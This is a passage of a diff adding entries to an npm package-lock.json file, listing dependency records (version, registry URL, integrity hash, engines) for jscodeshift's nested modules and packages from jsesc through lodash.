"jscodeshift": "bin/jscodeshift.js" + }, + "peerDependencies": { + "@babel/preset-env": "^7.1.6" + } + }, + "node_modules/jscodeshift/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "peer": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jscodeshift/node_modules/arr-diff": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz", + "integrity": "sha512-YVIQ82gZPGBebQV/a8dar4AitzCQs0jjXwMPZllpXMaGjXPYVUawSxQrRsjhjupyVxEvbHgUmIhKVlND+j02kA==", + "peer": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/jscodeshift/node_modules/array-unique": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz", + "integrity": "sha512-SleRWjh9JUud2wH1hPs9rZBZ33H6T9HOiL0uwGnGx9FpE6wKGyfWugmbkEOIs6qWrZhg0LWeLziLrEwQJhs5mQ==", + "peer": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/jscodeshift/node_modules/babel-core": { + "version": "7.0.0-bridge.0", + "resolved": "https://registry.npmjs.org/babel-core/-/babel-core-7.0.0-bridge.0.tgz", + "integrity": "sha512-poPX9mZH/5CSanm50Q+1toVci6pv5KSRv/5TWCwtzQS5XEwn40BcCrgIeMFWP9CKKIniKXNxoIOnOq4VVlGXhg==", + "peer": true, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/jscodeshift/node_modules/braces": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz", + "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", + "peer": true, + "dependencies": { + "arr-flatten": "^1.1.0", + "array-unique": "^0.3.2", + "extend-shallow": "^2.0.1", + "fill-range": "^4.0.0", + "isobject": "^3.0.1", + "repeat-element": "^1.1.2", + "snapdragon": "^0.8.1", + "snapdragon-node": "^2.0.1", + "split-string": "^3.0.2", + "to-regex": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/jscodeshift/node_modules/braces/node_modules/extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==", + "peer": true, + "dependencies": { + "is-extendable": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/jscodeshift/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "peer": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jscodeshift/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "peer": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jscodeshift/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "peer": true + }, + "node_modules/jscodeshift/node_modules/expand-brackets": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz", + "integrity": "sha512-w/ozOKR9Obk3qoWeY/WDi6MFta9AoMR+zud60mdnbniMcBxRuFJyDt2LdX/14A1UABeqk+Uk+LDfUpvoGKppZA==", + "peer": true, + "dependencies": { + "debug": "^2.3.3", + "define-property": "^0.2.5", + "extend-shallow": "^2.0.1", + "posix-character-classes": "^0.1.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/jscodeshift/node_modules/expand-brackets/node_modules/define-property": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", + "integrity": "sha512-Rr7ADjQZenceVOAKop6ALkkRAmH1A4Gx9hV/7ZujPUN2rkATqFO0JZLZInbAjpZYoJ1gUx8MRMQVkYemcbMSTA==", + "peer": true, + "dependencies": { + "is-descriptor": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/jscodeshift/node_modules/expand-brackets/node_modules/extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==", + "peer": true, + "dependencies": { + "is-extendable": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/jscodeshift/node_modules/extglob": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz", + "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", + "peer": true, + "dependencies": { + "array-unique": "^0.3.2", + "define-property": "^1.0.0", + "expand-brackets": "^2.1.4", + "extend-shallow": "^2.0.1", + "fragment-cache": "^0.2.1", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/jscodeshift/node_modules/extglob/node_modules/define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", + "integrity": "sha512-cZTYKFWspt9jZsMscWo8sc/5lbPC9Q0N5nBLgb+Yd915iL3udB1uFgS3B8YCx66UVHq018DAVFoee7x+gxggeA==", + "peer": true, + "dependencies": { + "is-descriptor": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/jscodeshift/node_modules/extglob/node_modules/extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==", + "peer": true, + "dependencies": { + "is-extendable": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/jscodeshift/node_modules/extglob/node_modules/is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "peer": true, + "dependencies": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/jscodeshift/node_modules/fill-range": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz", + "integrity": "sha512-VcpLTWqWDiTerugjj8e3+esbg+skS3M9e54UuR3iCeIDMXCLTsAH8hTSzDQU/X6/6t3eYkOKoZSef2PlU6U1XQ==", + "peer": true, + "dependencies": { + "extend-shallow": "^2.0.1", + "is-number": "^3.0.0", + "repeat-string": "^1.6.1", + "to-regex-range": "^2.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/jscodeshift/node_modules/fill-range/node_modules/extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==", + "peer": true, + "dependencies": { + "is-extendable": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/jscodeshift/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/jscodeshift/node_modules/is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "peer": true, + "dependencies": { + "kind-of": "^6.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/jscodeshift/node_modules/is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "peer": true, + "dependencies": { + "kind-of": "^6.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/jscodeshift/node_modules/is-number": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", + "integrity": "sha512-4cboCqIpliH+mAvFNegjZQ4kgKc3ZUhQVr3HvWbSh5q3WH2v82ct+T2Y1hdU5Gdtorx/cLifQjqCbL7bpznLTg==", + "peer": true, + "dependencies": { + "kind-of": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/jscodeshift/node_modules/is-number/node_modules/kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==", + "peer": true, + "dependencies": { + "is-buffer": "^1.1.5" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/jscodeshift/node_modules/isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg==", + "peer": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/jscodeshift/node_modules/kind-of": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz", + "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==", + "peer": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/jscodeshift/node_modules/micromatch": { + "version": "3.1.10", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", + "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", + "peer": true, + "dependencies": { + "arr-diff": "^4.0.0", + "array-unique": "^0.3.2", + "braces": "^2.3.1", + "define-property": "^2.0.2", + "extend-shallow": "^3.0.2", + "extglob": "^2.0.4", + "fragment-cache": "^0.2.1", + "kind-of": "^6.0.2", + "nanomatch": "^1.2.9", + "object.pick": "^1.3.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/jscodeshift/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "peer": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jscodeshift/node_modules/temp": { + "version": "0.8.4", + "resolved": "https://registry.npmjs.org/temp/-/temp-0.8.4.tgz", + "integrity": "sha512-s0ZZzd0BzYv5tLSptZooSjK8oj6C+c19p7Vqta9+6NPOf7r+fxq0cJe6/oN4LTC79sy5NY8ucOJNgwsKCSbfqg==", + "peer": true, + "dependencies": { + "rimraf": "~2.6.2" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/jsesc": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-1.3.0.tgz", + "integrity": "sha1-RsP+yMGJKxKwgz25vHYiF226s0s=", + "dev": true, + "bin": { + "jsesc": "bin/jsesc" + } + }, + "node_modules/json-loader": { + "version": "0.5.7", + "resolved": "https://registry.npmjs.org/json-loader/-/json-loader-0.5.7.tgz", + "integrity": "sha512-QLPs8Dj7lnf3e3QYS1zkCo+4ZwqOiF9d/nZnYozTISxXWCfNs9yuky5rJw4/W34s7POaNlbZmQGaB5NiXCbP4w==", + "dev": true + }, + "node_modules/json-parse-better-errors": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz", + "integrity": "sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw==" + }, + "node_modules/json-schema": { + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.2.3.tgz", + "integrity": "sha1-tIDIkuWaLwWVTOcnvT8qTogvnhM=", + "dev": true + }, + "node_modules/json-schema-traverse": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.3.1.tgz", + "integrity": "sha1-NJptRMU6Ud6JtAgFxdXlm0F9M0A=", + "dev": true + }, + "node_modules/json-stable-stringify": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/json-stable-stringify/-/json-stable-stringify-0.0.1.tgz", + "integrity": "sha1-YRwj6BTbN1Un34URk9tZ3Sryf0U=", + "dev": true, + "dependencies": { + "jsonify": "~0.0.0" + } + }, + "node_modules/json-stable-stringify-without-jsonify": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", + "integrity": "sha1-nbe1lJatPzz+8wp1FC0tkwrXJlE=", + "dev": true + }, + "node_modules/json-stringify-safe": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz", + "integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus=", + "dev": true + }, + "node_modules/json2php": { + "version": "0.0.4", + "resolved": "https://registry.npmjs.org/json2php/-/json2php-0.0.4.tgz", + "integrity": "sha1-a9haHdpqXdfpECK7JEA8wbfC7jQ=", + "dev": true + }, + "node_modules/json5": { + "version": "0.5.1", + "resolved": "https://registry.npmjs.org/json5/-/json5-0.5.1.tgz", + "integrity": "sha1-Hq3nrMASA0rYTiOWdn6tn6VJWCE=", + "dev": true, + "bin": { + "json5": "lib/cli.js" + } + }, + "node_modules/jsonfile": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz", + "integrity": "sha1-h3Gq4HmbZAdrdmQPygWPnBDjPss=", + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/jsonify": { + "version": "0.0.0", + "resolved": "https://registry.npmjs.org/jsonify/-/jsonify-0.0.0.tgz", + "integrity": "sha1-LHS27kHZPKUbe1qu6PUDYx0lKnM=", + "dev": true, + "engines": { + "node": "*" + } + }, + "node_modules/jsonparse": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/jsonparse/-/jsonparse-1.3.1.tgz", + "integrity": "sha1-P02uSpH6wxX3EGL4UhzCOfE2YoA=", + "dev": true, + "engines": [ + "node >= 0.2.0" + ] + }, + "node_modules/JSONStream": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/JSONStream/-/JSONStream-1.3.3.tgz", + "integrity": "sha512-3Sp6WZZ/lXl+nTDoGpGWHEpTnnC6X5fnkolYZR6nwIfzbxxvA8utPWe1gCt7i0m9uVGsSz2IS8K8mJ7HmlduMg==", + "dev": true, + "dependencies": { + "jsonparse": "^1.2.0", + "through": ">=2.2.7 <3" + }, + "bin": { + "JSONStream": "bin.js" + }, + "engines": { + "node": "*" + } + }, + "node_modules/jsprim": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-1.4.1.tgz", + "integrity": "sha1-MT5mvB5cwG5Di8G3SZwuXFastqI=", + "dev": true, + "engines": [ + "node >=0.6.0" + ], + "dependencies": { + "assert-plus": "1.0.0", + "extsprintf": "1.3.0", + "json-schema": "0.2.3", + "verror": "1.10.0" + } + }, + "node_modules/jstransformer": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/jstransformer/-/jstransformer-1.0.0.tgz", + "integrity": "sha1-7Yvwkh4vPx7U1cGkT2hwntJHIsM=", + "dev": true, + "dependencies": { + "is-promise": "^2.0.0", + "promise": "^7.0.1" + } + }, + "node_modules/kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dependencies": { + "is-buffer": "^1.1.5" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/kleur": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/kleur/-/kleur-3.0.3.tgz", + "integrity": "sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w==", + "peer": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/labeled-stream-splicer": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/labeled-stream-splicer/-/labeled-stream-splicer-2.0.1.tgz", + "integrity": "sha512-MC94mHZRvJ3LfykJlTUipBqenZz1pacOZEMhhQ8dMGcDHs0SBE5GbsavUXV7YtP3icBW17W0Zy1I0lfASmo9Pg==", + "dev": true, + "dependencies": { + "inherits": "^2.0.1", + "isarray": "^2.0.4", + "stream-splicer": "^2.0.0" + } + }, + "node_modules/labeled-stream-splicer/node_modules/isarray": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.4.tgz", + "integrity": "sha512-GMxXOiUirWg1xTKRipM0Ek07rX+ubx4nNVElTJdNLYmNO/2YrDkgJGw9CljXn+r4EWiDQg/8lsRdHyg2PJuUaA==", + "dev": true + }, + "node_modules/last-call-webpack-plugin": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/last-call-webpack-plugin/-/last-call-webpack-plugin-3.0.0.tgz", + "integrity": "sha512-7KI2l2GIZa9p2spzPIVZBYyNKkN+e/SQPpnjlTiPhdbDW3F86tdKKELxKpzJ5sgU19wQWsACULZmpTPYHeWO5w==", + "dev": true, + "dependencies": { + "lodash": "^4.17.5", + "webpack-sources": "^1.1.0" + } + }, + "node_modules/lazy-cache": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/lazy-cache/-/lazy-cache-1.0.4.tgz", + "integrity": "sha1-odePw6UEdMuAhF07O24dpJpEbo4=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/lazystream": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/lazystream/-/lazystream-1.0.1.tgz", + "integrity": "sha512-b94GiNHQNy6JNTrt5w6zNyffMrNkXZb3KTkCZJb2V1xaEGCk093vkZ2jk3tpaeP33/OiXC+WvK9AxUebnf5nbw==", + "dev": true, + "dependencies": { + "readable-stream": "^2.0.5" + }, + "engines": { + "node": ">= 0.6.3" + } + }, + "node_modules/lcid": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/lcid/-/lcid-1.0.0.tgz", + "integrity": "sha1-MIrMr6C8SDo4Z7S28rlQYlHRuDU=", + "dev": true, + "dependencies": { + "invert-kv": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/less": { + "version": "3.7.1", + "resolved": "https://registry.npmjs.org/less/-/less-3.7.1.tgz", + "integrity": "sha512-Cmf5XJlzNklkBC8eAa+Ef16AHUBAkApHNAw3x9Vmn84h2BvGrri5Id7kf6H1n6SN74Fc0WdHIRPlFMxsl0eJkA==", + "dev": true, + "bin": { + "lessc": "bin/lessc" + }, + "engines": { + "node": ">=4" + }, + "optionalDependencies": { + "errno": "^0.1.1", + "graceful-fs": "^4.1.2", + "image-size": "~0.5.0", + "mime": "^1.4.1", + "mkdirp": "^0.5.0", + "promise": "^7.1.1", + "request": "^2.83.0", + "source-map": "~0.6.0" + } + }, + "node_modules/less-loader": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/less-loader/-/less-loader-4.1.0.tgz", + "integrity": "sha512-KNTsgCE9tMOM70+ddxp9yyt9iHqgmSs0yTZc5XH5Wo+g80RWRIYNqE58QJKm/yMud5wZEvz50ugRDuzVIkyahg==", + "dev": true, + "dependencies": { + "clone": "^2.1.1", + "loader-utils": "^1.1.0", + "pify": "^3.0.0" + }, + "engines": { + "node": ">= 4.8 < 5.0.0 || >= 5.10" + }, + "peerDependencies": { + "less": "^2.3.1 || ^3.0.0", + "webpack": "^2.0.0 || ^3.0.0 || ^4.0.0" + } + }, + "node_modules/less-loader/node_modules/clone": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/clone/-/clone-2.1.1.tgz", + "integrity": "sha1-0hfR6WERjjrJpLi7oyhVU79kfNs=", + "dev": true, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/less-loader/node_modules/pify": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz", + "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/less/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/leven": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/leven/-/leven-3.1.0.tgz", + "integrity": "sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A==", + "engines": { + "node": ">=6" + } + }, + "node_modules/levenary": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/levenary/-/levenary-1.1.1.tgz", + "integrity": "sha512-mkAdOIt79FD6irqjYSs4rdbnlT5vRonMEvBVPVb3XmevfS8kgRXwfes0dhPdEtzTWD/1eNE/Bm/G1iRt6DcnQQ==", + "dependencies": { + "leven": "^3.1.0" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/levn": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/levn/-/levn-0.3.0.tgz", + "integrity": "sha1-OwmSTt+fCDwEkP3UwLxEIeBHZO4=", + "dev": true, + "dependencies": { + "prelude-ls": "~1.1.2", + "type-check": "~0.3.2" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/livereload-js": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/livereload-js/-/livereload-js-2.3.0.tgz", + "integrity": "sha512-j1R0/FeGa64Y+NmqfZhyoVRzcFlOZ8sNlKzHjh4VvLULFACZhn68XrX5DFg2FhMvSMJmROuFxRSa560ECWKBMg==", + "dev": true + }, + "node_modules/load-json-file": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/load-json-file/-/load-json-file-1.1.0.tgz", + "integrity": "sha1-lWkFcI1YtLq0wiYbBPWfMcmTdMA=", + "dev": true, + "dependencies": { + "graceful-fs": "^4.1.2", + "parse-json": "^2.2.0", + "pify": "^2.0.0", + "pinkie-promise": "^2.0.0", + "strip-bom": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/loader-fs-cache": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/loader-fs-cache/-/loader-fs-cache-1.0.3.tgz", + "integrity": "sha512-ldcgZpjNJj71n+2Mf6yetz+c9bM4xpKtNds4LbqXzU/PTdeAX0g3ytnU1AJMEcTk2Lex4Smpe3Q/eCTsvUBxbA==", + "dev": true, + "dependencies": { + "find-cache-dir": "^0.1.1", + "mkdirp": "^0.5.1" + } + }, + "node_modules/loader-fs-cache/node_modules/find-cache-dir": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-0.1.1.tgz", + "integrity": "sha1-yN765XyKUqinhPnjHFfHQumToLk=", + "dev": true, + "dependencies": { + "commondir": "^1.0.1", + "mkdirp": "^0.5.1", + "pkg-dir": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/loader-fs-cache/node_modules/pkg-dir": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-1.0.0.tgz", + "integrity": "sha1-ektQio1bstYp1EcFb/TpyTFM89Q=", + "dev": true, + "dependencies": { + "find-up": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/loader-runner": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-2.3.0.tgz", + "integrity": "sha1-9IKuqC1UPgeSFwDVpG7yb9rGuKI=", + "dev": true, + "engines": { + "node": ">=4.3.0 <5.0.0 || >=5.10" + } + }, + "node_modules/loader-utils": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.1.0.tgz", + "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", + "dev": true, + "dependencies": { + "big.js": "^3.1.3", + "emojis-list": "^2.0.0", + "json5": "^0.5.0" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/locate-path": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-2.0.0.tgz", + "integrity": "sha1-K1aLJl7slExtnA3pw9u7ygNUzY4=", + "dev": true, + "dependencies": { + "p-locate": "^2.0.0", + "path-exists": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/locate-path/node_modules/path-exists": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", + "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/lodash": { + "version": "4.17.19", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.19.tgz", + "integrity": "sha512-JNvd8XER9GQX0v2qJgsaN/mzFCNA5BRe/j8JN9d+tWyGLSodKQHKFicdwNYzWwI3wjRnaKPsGj1XkBjx/F96DQ==" + }, + "node_modules/lodash.camelcase": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/lodash.camelcase/-/lodash.camelcase-4.3.0.tgz", + "integrity": "sha1-soqmKIorn8ZRA1x3EfZathkDMaY=", + "dev": true + }, + "node_modules/lodash.clonedeep": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/lodash.clonedeep/-/lodash.clonedeep-4.5.0.tgz", + "integrity": "sha512-H5ZhCF25riFd9uB5UCkVKo61m3S/xZk1x4wA6yp/L3RFP6Z/eHH1ymQcGLo7J3GMPfm0V/7m1tryHuGVxpqEBQ==", + "dev": true + }, + "node_modules/lodash.debounce": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/lodash.debounce/-/lodash.debounce-4.0.8.tgz", + "integrity": "sha1-gteb/zCmfEAF/9XiUVMArZyk168=" + }, + "node_modules/lodash.defaults": { + "version": "4.2.0", + "resolved": 